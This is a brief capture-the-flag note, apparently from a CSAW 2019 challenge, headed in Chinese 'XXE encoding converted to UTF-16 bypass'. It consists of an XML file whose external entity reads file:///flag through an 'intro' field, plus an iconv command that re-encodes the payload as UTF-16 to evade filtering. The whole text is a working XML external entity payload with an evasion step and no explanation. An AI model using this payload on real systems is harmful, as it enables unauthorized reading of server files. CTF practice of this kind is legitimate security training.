XXE编码转换为UTF-16绕过
2.xml
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>[email protected]</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
iconv -f utf8 -t utf16 2.xml>1.xml
